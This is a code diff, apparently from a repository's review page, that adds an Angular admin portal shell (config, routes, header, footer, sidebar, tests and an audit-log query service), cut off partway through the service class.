732.85 368.325 C 697.242 352.78 687.774 307.538 711.885 266.354 Z " fill="rgb(255, 255, 255)"/><path d=" M 307.282 582.591 C 617.41 441.409 727.668 675.86 732.836 700.109 C 735.416 720.173 735.416 742.1 731.969 763.679 C 711.878 907.414 578.07 1024 433.052 1024 C 288.045 1024 187.249 907.414 207.353 763.679 C 217.694 693.146 255.022 629.459 307.282 582.591 L 307.282 582.591 Z M 450.565 937.11 C 546.769 937.11 636.357 859.614 649.278 763.679 C 663.344 668.089 595.583 590.364 499.101 590.364 C 467.005 590.364 435.702 598.966 407.73 613.965 C 388.702 624.169 371.215 637.334 356.069 652.766 C 326.553 682.839 305.925 721.522 300.1 763.679 C 286.323 859.614 354.084 937.11 450.566 937.11 L 450.565 937.11 Z " fill-rule="evenodd" fill="rgb(255, 255, 255)"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 11 KiB

+49
View File
@@ -0,0 +1,49 @@
import {
ApplicationConfig,
provideBrowserGlobalErrorListeners,
provideZonelessChangeDetection,
} from '@angular/core';
import { provideHttpClient, withFetch, withInterceptors } from '@angular/common/http';
import { provideRouter } from '@angular/router';
import {
AUTH_BFF_BASE_URL,
AUTH_CSRF_COOKIE_NAME,
AUTH_PATH_PREFIX,
bffCredentialsInterceptor,
bffUnauthorizedInterceptor,
csrfInterceptor,
} from 'feature-auth';
import { environment } from '../environments/environment';
import { appRoutes } from './app.routes';
export const appConfig: ApplicationConfig = {
providers: [
provideZonelessChangeDetection(),
provideBrowserGlobalErrorListeners(),
provideRouter(appRoutes),
// `withFetch()` makes Angular's HttpClient delegate to the
// browser `fetch` API — what
// `@opentelemetry/instrumentation-fetch` patches, so every
// HttpClient request gets its own span and W3C `traceparent`
// header automatically.
//
// Same interceptor chain as portal-shell (per ADR-0009 / ADR-0021):
// - bffCredentialsInterceptor: withCredentials on BFF URLs.
// - bffUnauthorizedInterceptor: refresh AuthService on 401.
// - csrfInterceptor: echo CSRF cookie on mutating requests.
provideHttpClient(
withFetch(),
withInterceptors([bffCredentialsInterceptor, csrfInterceptor, bffUnauthorizedInterceptor]),
),
// `feature-auth` is environment-agnostic. portal-admin diverges
// from portal-shell on a single token: AUTH_PATH_PREFIX. The
// BFF mounts the admin OIDC routes under `/api/admin/auth/*`
// (per ADR-0020 §"Sessions — distinct from `portal-shell`"), so
// the AuthService composes `${bffApiBaseUrl}/admin/auth/{me,login,logout}`.
// The session middleware on the BFF resolves `/api/admin/*` to
// the distinct `__Host-portal_admin_session` cookie.
{ provide: AUTH_BFF_BASE_URL, useValue: environment.bffApiBaseUrl },
{ provide: AUTH_PATH_PREFIX, useValue: '/admin/auth' },
{ provide: AUTH_CSRF_COOKIE_NAME, useValue: environment.bffCsrfCookieName },
],
};
+9
View File
@@ -0,0 +1,9 @@
<a class="skip-link" href="#main-content" i18n="@@app.skipLink">Skip to main content</a>
<app-admin-header />
<div class="shell-body">
<app-admin-sidebar />
<main id="main-content" tabindex="-1" class="shell-main">
<router-outlet />
</main>
</div>
<app-admin-footer />
+48
View File
@@ -0,0 +1,48 @@
import { Route } from '@angular/router';
import { authGuard } from 'feature-auth';
const homeTitle = $localize`:@@route.home.title:APF Portal Admin`;
const auditTitle = $localize`:@@route.audit.title:Audit log — APF Portal Admin`;
const usersTitle = $localize`:@@route.users.title:Users — APF Portal Admin`;
const userScopesTitle = $localize`:@@route.user-scopes.title:User scopes — APF Portal Admin`;
const profileTitle = $localize`:@@route.profile.title:Profile — APF Portal Admin`;
export const appRoutes: Route[] = [
{
path: '',
pathMatch: 'full',
loadComponent: () => import('./pages/home/home').then((m) => m.Home),
title: homeTitle,
},
{
path: 'audit',
loadComponent: () => import('./pages/audit/audit').then((m) => m.AuditPage),
title: auditTitle,
},
{
path: 'users',
loadComponent: () => import('./pages/users/users').then((m) => m.UsersPage),
title: usersTitle,
},
{
path: 'users/:oid/scopes',
loadComponent: () => import('./pages/user-scopes/user-scopes').then((m) => m.UserScopesPage),
title: userScopesTitle,
},
{
path: 'profile',
canActivate: [authGuard],
loadComponent: () => import('./pages/profile/profile').then((m) => m.ProfilePage),
title: profileTitle,
},
// Catch-all — unknown paths bounce to home. Same role as the
// wildcard in portal-shell (per PR #96): in production each locale
// bundle ships with its own `<base href="/{locale}/">` and the
// router never sees the locale segment, so this only fires for
// genuine 404 paths; in dev (`nx serve`) it stops the router from
// throwing NG04002 when a stray `/fr/`-style URL is typed.
{
path: '**',
redirectTo: '',
},
];
+55
View File
@@ -0,0 +1,55 @@
// Admin shell: full-viewport flex column — header on top, sidebar +
// main side-by-side filling the middle, footer pinned at the bottom.
// The sidebar owns its own scrolling so a long nav doesn't push the
// header off-screen; main scrolls independently so audit-log tables
// don't drag the chrome with them.
:host {
display: flex;
flex-direction: column;
min-height: 100vh;
height: 100vh;
}
.shell-body {
display: flex;
flex: 1 1 auto;
min-height: 0;
}
.shell-main {
flex: 1 1 auto;
min-width: 0;
overflow-y: auto;
background-color: #f9fafb;
color: #111827;
padding: 1.5rem;
}
:host-context(.dark) .shell-main {
background-color: #0b1220;
color: #e5e7eb;
}
// Skip-link (WCAG 2.4.1 "Bypass Blocks"). Hidden by default, fully
// visible and focusable when reached via Tab from the address bar.
// Plain CSS rather than the `sr-only` Tailwind utilities so the
// visual state on focus is as predictable as possible across themes.
.skip-link {
position: absolute;
top: -40px;
left: 0.75rem;
z-index: 50;
padding: 0.5rem 0.75rem;
background: var(--color-brand-primary-500);
color: #fff;
border-radius: 0.25rem;
text-decoration: none;
transition: top 0.15s ease-out;
&:focus,
&:focus-visible {
top: 0.5rem;
outline: 2px solid var(--color-brand-accent-300);
outline-offset: 2px;
}
}
+33
View File
@@ -0,0 +1,33 @@
import { provideHttpClient } from '@angular/common/http';
import { provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { provideRouter } from '@angular/router';
import { AUTH_BFF_BASE_URL, AUTH_CSRF_COOKIE_NAME, AUTH_NAVIGATOR } from 'feature-auth';
import { App } from './app';
describe('App', () => {
beforeEach(async () => {
await TestBed.configureTestingModule({
imports: [App],
providers: [
provideRouter([]),
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: 'http://bff.test/api' },
{ provide: AUTH_CSRF_COOKIE_NAME, useValue: 'portal_csrf' },
{ provide: AUTH_NAVIGATOR, useValue: vi.fn() },
],
}).compileComponents();
});
it('renders the admin shell — skip link, header, sidebar, main landmark, footer', async () => {
const fixture = TestBed.createComponent(App);
await fixture.whenStable();
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('a.skip-link')).not.toBeNull();
expect(root.querySelector('main#main-content')).not.toBeNull();
expect(root.querySelector('app-admin-header')).not.toBeNull();
expect(root.querySelector('app-admin-sidebar')).not.toBeNull();
expect(root.querySelector('app-admin-footer')).not.toBeNull();
});
});
+14
View File
@@ -0,0 +1,14 @@
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { AdminFooter } from './components/footer/footer';
import { AdminHeader } from './components/header/header';
import { AdminSidebar } from './components/sidebar/sidebar';
@Component({
selector: 'app-root',
imports: [RouterOutlet, AdminHeader, AdminSidebar, AdminFooter],
templateUrl: './app.html',
styleUrl: './app.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class App {}
@@ -0,0 +1,4 @@
<footer class="admin-footer">
<span class="copyright">© {{ year }} APF France handicap</span>
<span class="surface-tag">Admin surface</span>
</footer>
@@ -0,0 +1,29 @@
.admin-footer {
display: flex;
align-items: center;
justify-content: space-between;
gap: 1rem;
height: 2.5rem;
padding: 0 1rem;
background-color: #f9fafb;
border-top: 1px solid #e5e7eb;
color: #6b7280;
font-size: 0.75rem;
}
:host-context(.dark) .admin-footer {
background-color: #0f172a;
border-top-color: #1f2937;
color: #9ca3af;
}
.surface-tag {
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
color: var(--color-brand-accent-700, #b45309);
}
:host-context(.dark) .surface-tag {
color: var(--color-brand-accent-300, #fbbf24);
}
@@ -0,0 +1,26 @@
import { TestBed } from '@angular/core/testing';
import { AdminFooter } from './footer';
describe('AdminFooter', () => {
beforeEach(async () => {
await TestBed.configureTestingModule({ imports: [AdminFooter] }).compileComponents();
});
function render(): HTMLElement {
const fixture = TestBed.createComponent(AdminFooter);
fixture.detectChanges();
return fixture.nativeElement as HTMLElement;
}
it('renders the APF copyright with the current year', () => {
const root = render();
const copy = root.querySelector('.copyright')?.textContent ?? '';
expect(copy).toContain('APF France handicap');
expect(copy).toContain(String(new Date().getFullYear()));
});
it('renders the "Admin surface" tag as a persistent visual reminder', () => {
const root = render();
expect(root.querySelector('.surface-tag')?.textContent?.trim()).toBe('Admin surface');
});
});
@@ -0,0 +1,22 @@
import { ChangeDetectionStrategy, Component } from '@angular/core';
/**
* Minimal admin-portal footer. Sits flush at the bottom of the
* shell with the copyright + a small "Admin" surface tag — same
* visual reminder as the header badge, since the footer is in
* view for any sufficiently long workload (audit-log paging,
* CMS editing) where the header may have scrolled out.
*
* No locale switcher, no accessibility-statement link in v1 — both
* land when the admin app gets full i18n / a11y plumbing of its
* own (currently inherited from the portal-shell baseline only).
*/
@Component({
selector: 'app-admin-footer',
templateUrl: './footer.html',
styleUrl: './footer.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class AdminFooter {
protected readonly year = new Date().getFullYear();
}
@@ -0,0 +1,44 @@
<header class="admin-header">
<a class="brand" routerLink="/">
<img
src="logos/apf-logo.svg"
alt=""
aria-hidden="true"
width="28"
height="28"
class="brand-logo"
/>
<span class="brand-wordmark">APF Portal</span>
<span class="brand-badge">Admin</span>
</a>
<div class="auth-widget">
@switch (authState().kind) { @case ('loading') {
<span class="auth-status auth-status--loading" aria-live="polite"></span>
} @case ('anonymous') {
<button type="button" class="btn btn--primary" (click)="signIn()">Sign in</button>
} @case ('error') {
<button
type="button"
class="btn btn--secondary"
(click)="signIn()"
aria-label="Session unavailable — sign in again"
>
Sign in
</button>
} @case ('authenticated') { @if (authState(); as state) { @if (state.kind === 'authenticated') {
<lib-user-menu
[displayName]="state.user.displayName"
[username]="state.user.username"
[initials]="initials()"
[items]="userMenuItems"
[role]="roleLabel"
[signedInAsLabel]="signedInAsLabel"
[signOutLabel]="signOutLabel"
[triggerAriaLabel]="triggerAriaLabel(state.user.displayName)"
(signOut)="signOut()"
data-testid="user-menu"
/>
} } } }
</div>
</header>
@@ -0,0 +1,126 @@
// Lean admin header — single flex row, no collapse animation, no
// nested grids. Matches the `LayoutStateService`-driven sidebar's
// rail metrics so the brand sits flush above the navigation column.
.admin-header {
display: flex;
align-items: center;
justify-content: space-between;
gap: 1rem;
height: 3.5rem;
padding: 0 1rem;
background-color: var(--color-brand-primary-600, #1d4ed8);
color: #ffffff;
border-bottom: 1px solid rgba(255, 255, 255, 0.15);
}
.brand {
display: inline-flex;
align-items: center;
gap: 0.5rem;
color: inherit;
text-decoration: none;
font-weight: 600;
font-size: 1rem;
letter-spacing: 0.01em;
&:focus-visible {
outline: 2px solid #ffffff;
outline-offset: 2px;
border-radius: 0.25rem;
}
}
.brand-logo {
display: block;
flex-shrink: 0;
height: 1.75rem;
width: 1.75rem;
}
// "Admin" pill — distinct color from the wordmark so it reads as a
// status badge even in dense headers. Keeps the surface
// immediately recognisable per ADR-0020 §"Discoverability for
// auditors".
.brand-badge {
display: inline-block;
padding: 0.125rem 0.5rem;
background-color: var(--color-brand-accent-300, #f59e0b);
color: #1f2937;
font-size: 0.75rem;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.05em;
border-radius: 0.25rem;
}
.auth-widget {
display: flex;
align-items: center;
gap: 0.5rem;
// The admin header sits on `--color-brand-primary-600`; a brand
// primary avatar inside the user menu trigger would barely read.
// Override the shared avatar tokens to a translucent white block
// matching the inline avatar this widget replaced.
lib-user-menu {
--user-menu-avatar-bg: rgba(255, 255, 255, 0.2);
--user-menu-avatar-fg: #ffffff;
}
}
.auth-status--loading {
font-size: 0.875rem;
opacity: 0.8;
}
.auth-name {
font-size: 0.875rem;
font-weight: 500;
}
.avatar {
display: inline-flex;
align-items: center;
justify-content: center;
width: 2rem;
height: 2rem;
border-radius: 50%;
background-color: rgba(255, 255, 255, 0.2);
color: inherit;
font-size: 0.75rem;
font-weight: 600;
}
.btn {
display: inline-flex;
align-items: center;
height: 2rem;
padding: 0 0.75rem;
border: 1px solid transparent;
border-radius: 0.25rem;
background-color: transparent;
color: inherit;
font-size: 0.875rem;
font-weight: 500;
cursor: pointer;
&:focus-visible {
outline: 2px solid #ffffff;
outline-offset: 2px;
}
}
.btn--primary {
background-color: var(--color-brand-accent-300, #f59e0b);
color: #1f2937;
border-color: transparent;
}
.btn--secondary {
background-color: transparent;
border-color: rgba(255, 255, 255, 0.4);
&:hover {
background-color: rgba(255, 255, 255, 0.1);
}
}
@@ -0,0 +1,111 @@
import { provideHttpClient } from '@angular/common/http';
import { HttpTestingController, provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { provideRouter } from '@angular/router';
import {
AUTH_BFF_BASE_URL,
AUTH_NAVIGATOR,
AUTH_PATH_PREFIX,
type CurrentUser,
} from 'feature-auth';
import { AdminHeader } from './header';
const BFF_BASE = 'http://bff.test/api';
const ADMIN_ME_URL = `${BFF_BASE}/admin/auth/me`;
const USER: CurrentUser = {
oid: 'admin-oid',
tid: 'tenant-1',
username: 'admin@apf.example',
displayName: 'Admin Smith',
};
async function setup(opts: { onBootstrap: 'authenticated' | 'anonymous' | 'leave' }) {
const navigate = vi.fn();
TestBed.configureTestingModule({
imports: [AdminHeader],
providers: [
provideRouter([]),
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: BFF_BASE },
{ provide: AUTH_PATH_PREFIX, useValue: '/admin/auth' },
{ provide: AUTH_NAVIGATOR, useValue: navigate },
],
});
const fixture = TestBed.createComponent(AdminHeader);
const http = TestBed.inject(HttpTestingController);
// AuthService fires the bootstrap /me from its constructor. Flush
// it before the first whenStable so the signal update has settled
// by the time we assert on the rendered DOM. `leave` keeps the
// loading state visible for tests that need it.
if (opts.onBootstrap !== 'leave') {
const req = http.expectOne(ADMIN_ME_URL);
if (opts.onBootstrap === 'authenticated') {
req.flush(USER);
} else {
req.flush({}, { status: 401, statusText: 'Unauthorized' });
}
await Promise.resolve();
}
fixture.detectChanges();
await fixture.whenStable();
return { fixture, http, navigate };
}
describe('AdminHeader', () => {
it('renders the wordmark + admin badge', async () => {
const { fixture } = await setup({ onBootstrap: 'anonymous' });
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('.brand-wordmark')?.textContent).toContain('APF Portal');
expect(root.querySelector('.brand-badge')?.textContent?.trim()).toBe('Admin');
});
it('shows a Sign in button when anonymous', async () => {
const { fixture } = await setup({ onBootstrap: 'anonymous' });
const button = (fixture.nativeElement as HTMLElement).querySelector('.btn--primary');
expect(button?.textContent?.trim()).toBe('Sign in');
});
it('shows the user menu trigger with initials when authenticated', async () => {
const { fixture } = await setup({ onBootstrap: 'authenticated' });
const root = fixture.nativeElement as HTMLElement;
const menu = root.querySelector('[data-testid="user-menu"]');
expect(menu).not.toBeNull();
expect(menu?.querySelector('.user-menu__avatar')?.textContent?.trim()).toBe('AS');
});
it('opens the menu and exposes displayName + Sign out inside the panel', async () => {
const { fixture } = await setup({ onBootstrap: 'authenticated' });
const trigger = (fixture.nativeElement as HTMLElement).querySelector<HTMLButtonElement>(
'[data-testid="user-menu"] button[aria-haspopup="menu"]',
);
trigger?.click();
fixture.detectChanges();
await fixture.whenStable();
const panel = document.body.querySelector('.user-menu__panel');
expect(panel).not.toBeNull();
expect(panel?.querySelector('.user-menu__header-name')?.textContent).toContain('Admin Smith');
expect(panel?.querySelector('.user-menu__item--sign-out')).not.toBeNull();
});
it('navigates to the admin login URL on Sign in click', async () => {
const { fixture, navigate } = await setup({ onBootstrap: 'anonymous' });
(fixture.nativeElement as HTMLElement)
.querySelector<HTMLButtonElement>('.btn--primary')
?.click();
expect(navigate).toHaveBeenCalledWith(`${BFF_BASE}/admin/auth/login`);
});
it('navigates to the admin logout URL on Sign out click inside the menu panel', async () => {
const { fixture, navigate } = await setup({ onBootstrap: 'authenticated' });
const trigger = (fixture.nativeElement as HTMLElement).querySelector<HTMLButtonElement>(
'[data-testid="user-menu"] button[aria-haspopup="menu"]',
);
trigger?.click();
fixture.detectChanges();
await fixture.whenStable();
document.body.querySelector<HTMLButtonElement>('.user-menu__item--sign-out')?.click();
expect(navigate).toHaveBeenCalledWith(`${BFF_BASE}/admin/auth/logout`);
});
});
@@ -0,0 +1,87 @@
import { ChangeDetectionStrategy, Component, computed, inject } from '@angular/core';
import { RouterLink } from '@angular/router';
import { AuthService, type CurrentUser } from 'feature-auth';
import { UserMenu, type UserMenuItem } from 'shared-ui';
import { environment } from '../../../environments/environment';
/**
* Admin-portal header. Deliberately leaner than the user-portal
* counterpart per ADR-0020 §"UX style is data-dense" — admins land
* on tabular workloads, not a discovery dashboard, so we drop the
* global search box, notification cluster, and help widget for v1.
*
* Two anchor points:
* - The "Admin" badge next to the wordmark, so an internal user
* instantly sees they're on the elevated surface (defense
* against "thought I was on portal-shell, just deleted a CMS
* page" muscle-memory misfires).
* - The auth widget: signed in → avatar with initials + Sign out,
* signed out → a Sign in button that 302s through the admin
* OIDC flow (`/api/admin/auth/login`). State driven by the
* shared `feature-auth` `AuthService` with `AUTH_PATH_PREFIX`
* overridden to `/admin/auth` (see `app.config.ts`).
*
* No locale switcher in v1 — admin users are a small known set
* and the source-locale-only chrome keeps the bundle leaner.
* Promotion when the editorial team needs FR/EN parity in the
* admin UI itself.
*/
@Component({
selector: 'app-admin-header',
imports: [RouterLink, UserMenu],
templateUrl: './header.html',
styleUrl: './header.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class AdminHeader {
private readonly auth = inject(AuthService);
protected readonly authState = this.auth.state;
protected readonly initials = computed(() => {
const user = this.auth.currentUser();
return user ? initialsFor(user) : '';
});
// Static menu rows. Same shape as the portal-shell menu so a user
// who learned one finds the other familiar. The "Open Portal
// Shell" entry is unconditional here — the user-portal is public,
// any admin can jump back to it.
protected readonly userMenuItems: readonly UserMenuItem[] = [
{ label: 'Profile', icon: 'user', routerLink: '/profile' },
{ label: 'Settings', icon: 'settings', disabled: true, badge: 'Soon' },
{ label: 'Open Portal Shell', icon: 'home', href: environment.shellAppUrl },
];
protected readonly signedInAsLabel = 'Signed in as';
protected readonly signOutLabel = 'Sign out';
// Static role label — every reader who reaches portal-admin holds
// the `Portal.Admin` Entra app role (that's the `AdminRoleGuard`
// precondition for `/api/admin/*`), so the chip is unconditional
// and doesn't need to read `req.session.user.roles`. No i18n marks
// either, per ADR-0020's source-locale-only chrome.
protected readonly roleLabel = 'Administrator';
protected triggerAriaLabel(displayName: string): string {
return `User menu — signed in as ${displayName}`;
}
protected signIn(): void {
this.auth.login();
}
protected signOut(): void {
this.auth.logout();
}
}
function initialsFor(user: CurrentUser): string {
const name = (user.displayName || user.username).trim();
if (!name) {
return '?';
}
const parts = name.split(/\s+/).filter(Boolean).slice(0, 2);
const letters = parts.map((p) => p.charAt(0).toUpperCase()).join('');
return letters || name.slice(0, 2).toUpperCase();
}
@@ -0,0 +1,25 @@
<nav class="admin-sidebar" aria-label="Admin navigation">
<ul class="nav-list">
@for (item of menu; track item.label) {
<li class="nav-item">
@if (item.routerLink !== null) {
<a
class="nav-link"
[routerLink]="item.routerLink"
routerLinkActive="nav-link--active"
[routerLinkActiveOptions]="{ exact: false }"
>
<span class="nav-icon"><lib-icon [name]="item.icon" [size]="18" /></span>
<span class="nav-label">{{ item.label }}</span>
</a>
} @else {
<span class="nav-link nav-link--disabled" aria-disabled="true">
<span class="nav-icon"><lib-icon [name]="item.icon" [size]="18" /></span>
<span class="nav-label">{{ item.label }}</span>
<span class="nav-badge">Soon</span>
</span>
}
</li>
}
</ul>
</nav>
@@ -0,0 +1,112 @@
// The host element owns the sidebar envelope (width + chrome) so
// the gray background + right border cover the full column, not
// just the rail of links. The inner <nav> handles the scrolling
// list inside that envelope.
:host {
display: flex;
flex-direction: column;
width: 16rem;
flex: 0 0 16rem;
background-color: #f3f4f6;
border-right: 1px solid #e5e7eb;
}
:host-context(.dark) {
background-color: #0f172a;
border-right-color: #1f2937;
color: #e5e7eb;
}
.admin-sidebar {
flex: 1 1 auto;
padding: 0.75rem 0;
overflow-y: auto;
}
.nav-list {
list-style: none;
margin: 0;
padding: 0;
}
.nav-item {
padding: 0 0.5rem;
}
.nav-link {
display: inline-flex;
align-items: center;
gap: 0.625rem;
width: 100%;
padding: 0.5rem 0.75rem;
border-radius: 0.25rem;
color: #1f2937;
text-decoration: none;
font-size: 0.875rem;
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
}
&:hover {
background-color: rgba(0, 0, 0, 0.04);
}
}
:host-context(.dark) .nav-link {
color: #e5e7eb;
&:hover {
background-color: rgba(255, 255, 255, 0.06);
}
}
.nav-link--active {
background-color: rgba(29, 78, 216, 0.12);
color: var(--color-brand-primary-700, #1e40af);
font-weight: 600;
}
:host-context(.dark) .nav-link--active {
background-color: rgba(96, 165, 250, 0.18);
color: #93c5fd;
}
.nav-link--disabled {
color: #9ca3af;
cursor: default;
&:hover {
background-color: transparent;
}
}
:host-context(.dark) .nav-link--disabled {
color: #6b7280;
}
.nav-icon {
display: inline-flex;
width: 1.25rem;
flex: 0 0 1.25rem;
}
.nav-label {
flex: 1 1 auto;
}
.nav-badge {
font-size: 0.625rem;
text-transform: uppercase;
font-weight: 700;
letter-spacing: 0.05em;
padding: 0.125rem 0.375rem;
border-radius: 999px;
background-color: rgba(0, 0, 0, 0.06);
color: #6b7280;
}
:host-context(.dark) .nav-badge {
background-color: rgba(255, 255, 255, 0.08);
}
@@ -0,0 +1,51 @@
import { TestBed } from '@angular/core/testing';
import { provideRouter } from '@angular/router';
import { AdminSidebar } from './sidebar';
describe('AdminSidebar', () => {
beforeEach(async () => {
await TestBed.configureTestingModule({
imports: [AdminSidebar],
providers: [provideRouter([])],
}).compileComponents();
});
function render(): HTMLElement {
const fixture = TestBed.createComponent(AdminSidebar);
fixture.detectChanges();
return fixture.nativeElement as HTMLElement;
}
it('renders a navigation landmark labelled "Admin navigation"', () => {
const root = render();
const nav = root.querySelector('nav');
expect(nav?.getAttribute('aria-label')).toBe('Admin navigation');
});
it('exposes the Audit log entry as a live router link', () => {
const root = render();
const links = Array.from(root.querySelectorAll<HTMLAnchorElement>('a.nav-link'));
const auditLink = links.find((a) => a.textContent?.includes('Audit log'));
expect(auditLink).toBeTruthy();
// RouterLink renders the resolved href on the anchor.
expect(auditLink?.getAttribute('href')).toBe('/audit');
});
it('exposes the User list entry as a live router link', () => {
const root = render();
const links = Array.from(root.querySelectorAll<HTMLAnchorElement>('a.nav-link'));
const usersLink = links.find((a) => a.textContent?.includes('User list'));
expect(usersLink).toBeTruthy();
expect(usersLink?.getAttribute('href')).toBe('/users');
});
it('renders the not-yet-implemented entries as aria-disabled placeholders with a "Soon" badge', () => {
const root = render();
const disabled = Array.from(root.querySelectorAll('.nav-link--disabled'));
expect(disabled.length).toBeGreaterThan(0);
for (const node of disabled) {
expect(node.getAttribute('aria-disabled')).toBe('true');
expect(node.querySelector('.nav-badge')?.textContent?.trim()).toBe('Soon');
}
});
});
@@ -0,0 +1,42 @@
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { RouterLink, RouterLinkActive } from '@angular/router';
import { Icon, type IconName } from 'shared-ui';
/**
* Admin-side navigation. v1 lists the four modules from ADR-0020's
* v1 admin catalogue (CMS, menu management, user list, audit log
* viewer). Only the audit-log link points at a live route in this
* PR; the rest land as routerLink placeholders disabled with
* `aria-disabled`, so the navigation shape is established even
* before the modules ship.
*
* No collapse mode (the portal-admin v1 layout doesn't need to
* compete with content for screen real estate the way the user
* portal does). When that changes we promote the
* `LayoutStateService.sidebarCollapsed` signal here too.
*/
interface AdminMenuItem {
readonly label: string;
readonly icon: IconName;
/** Live route once the module ships; placeholder when null. */
readonly routerLink: string | null;
}
const MENU: readonly AdminMenuItem[] = [
{ label: 'Audit log', icon: 'file-text', routerLink: '/audit' },
{ label: 'CMS pages', icon: 'folder', routerLink: null },
{ label: 'Menu management', icon: 'layout-dashboard', routerLink: null },
{ label: 'User list', icon: 'building-2', routerLink: '/users' },
];
@Component({
selector: 'app-admin-sidebar',
imports: [RouterLink, RouterLinkActive, Icon],
templateUrl: './sidebar.html',
styleUrl: './sidebar.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class AdminSidebar {
protected readonly menu = MENU;
}
@@ -0,0 +1,90 @@
import { provideHttpClient } from '@angular/common/http';
import { HttpTestingController, provideHttpClientTesting } from '@angular/common/http/testing';
import { TestBed } from '@angular/core/testing';
import { firstValueFrom } from 'rxjs';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import { AuditEventsService, type AdminAuditPage } from './audit-events.service';
const BFF_BASE = 'http://bff.test/api';
const AUDIT_URL = `${BFF_BASE}/admin/audit`;
const PAGE: AdminAuditPage = {
items: [
{
id: '11111111-1111-1111-1111-111111111111',
createdAt: '2026-05-13T10:30:00.000Z',
eventType: 'auth.sign_in',
audience: 'workforce',
actorIdHash: 'hash(jane)',
traceId: 'trace-abc',
subject: 'session:sid-1',
outcome: 'success',
payload: { amr: ['pwd', 'mfa'] },
},
],
total: 1,
limit: 50,
offset: 0,
};
function setup() {
TestBed.configureTestingModule({
providers: [
provideHttpClient(),
provideHttpClientTesting(),
{ provide: AUTH_BFF_BASE_URL, useValue: BFF_BASE },
],
});
return {
service: TestBed.inject(AuditEventsService),
http: TestBed.inject(HttpTestingController),
};
}
describe('AuditEventsService.query', () => {
it('GETs /admin/audit with the populated filter fields as URL params', async () => {
const { service, http } = setup();
const promise = firstValueFrom(
service.query({
eventType: 'auth.sign_in',
audience: 'workforce',
outcome: 'success',
limit: 25,
offset: 50,
}),
);
const req = http.expectOne((r) => r.url === AUDIT_URL);
expect(req.request.method).toBe('GET');
expect(req.request.params.get('eventType')).toBe('auth.sign_in');
expect(req.request.params.get('audience')).toBe('workforce');
expect(req.request.params.get('outcome')).toBe('success');
expect(req.request.params.get('limit')).toBe('25');
expect(req.request.params.get('offset')).toBe('50');
req.flush(PAGE);
await expect(promise).resolves.toEqual(PAGE);
});
it('omits filter fields that are empty strings (BFF rejects `?foo=` as invalid)', async () => {
const { service, http } = setup();
void firstValueFrom(
service.query({
eventType: '',
subjectPrefix: '',
limit: 50,
}),
);
const req = http.expectOne((r) => r.url === AUDIT_URL);
expect(req.request.params.has('eventType')).toBe(false);
expect(req.request.params.has('subjectPrefix')).toBe(false);
expect(req.request.params.get('limit')).toBe('50');
req.flush(PAGE);
});
it('omits undefined filter fields', async () => {
const { service, http } = setup();
void firstValueFrom(service.query({}));
const req = http.expectOne((r) => r.url === AUDIT_URL);
expect(req.request.params.keys().length).toBe(0);
req.flush(PAGE);
});
});
@@ -0,0 +1,116 @@
import { HttpClient, HttpParams } from '@angular/common/http';
import { Injectable, inject } from '@angular/core';
import { AUTH_BFF_BASE_URL } from 'feature-auth';
import type { Observable } from 'rxjs';
/**
* One row of the BFF's `GET /api/admin/audit` response. Mirrors
* `AdminAuditEventDto` on the BFF side — ISO-string timestamp,
* already-parsed JSON payload, hashed actor id.
*/
export interface AdminAuditEvent {
readonly id: string;
readonly createdAt: string;
readonly eventType: string;
readonly audience: string;
readonly actorIdHash: string | null;
readonly traceId: string | null;
readonly subject: string | null;
readonly outcome: string;
readonly payload: Record<string, unknown> | null;
}
/** Paginated response shape — mirrors `AdminAuditPage` on the BFF. */
export interface AdminAuditPage {
readonly items: readonly AdminAuditEvent[];
readonly total: number;
readonly limit: number;
readonly offset: number;
}
/**
* Aggregated audit-event stats — mirrors `AdminAuditStats` on the
* BFF side. Powers the Charts tab of the audit viewer.
*/
export interface AdminAuditStats {
readonly dailyVolume: ReadonlyArray<{ day: string; count: number }>;
readonly outcomeBreakdown: ReadonlyArray<{ outcome: string; count: number }>;
readonly eventTypeByDay: ReadonlyArray<{ day: string; eventType: string; count: number }>;
readonly total: number;
}
/**
* Filter shape sent as query params on the stats endpoint. Same as
* {@link AdminAuditQuery} minus pagination — the stats endpoint
* always aggregates the whole filtered set.
*/
export type AdminAuditStatsQuery = Omit<AdminAuditQuery, 'limit' | 'offset'>;
/**
* Filter+pagination shape sent as query params. All fields are
* optional; missing values fall back to the BFF defaults (limit=50,
* offset=0, no filter).
*/
export interface AdminAuditQuery {
// Both optional AND explicitly nullable: `exactOptionalPropertyTypes`
// rejects assigning a `T | undefined` to a `?: T`, but the
// AuditPage `buildFilters()` builds objects with `undefined`
// placeholders for missing user input. Allowing both `?:` and
// `| undefined` lets callers omit the key entirely OR set it to
// undefined, both meaning "no filter".
readonly eventType?: string | undefined;
readonly actorIdHash?: string | undefined;
readonly audience?: 'workforce' | 'customer' | undefined;
readonly outcome?: 'success' | 'failure' | 'denied' | undefined;
readonly subjectPrefix?: string | undefined;
readonly createdAtFrom?: string | undefined;
readonly createdAtTo?: string | undefined;
readonly limit?: number | undefined;
readonly offset?: number | undefined;
}
/**
* Thin HttpClient wrapper. Lives in `providedIn: 'root'` because the
* audit page is the single v1 consumer and per-page DI overhead is
* not worth it. The wrapper exists at all (vs HttpClient directly in
* the component) so the audit page's logic stays signal-only and the
* spec can mock the service rather than threading
* `HttpTestingController` through every assertion.
*/
@Injectable({ providedIn: 'root' })
export class AuditEventsService {
private readonly http = inject(HttpClient);
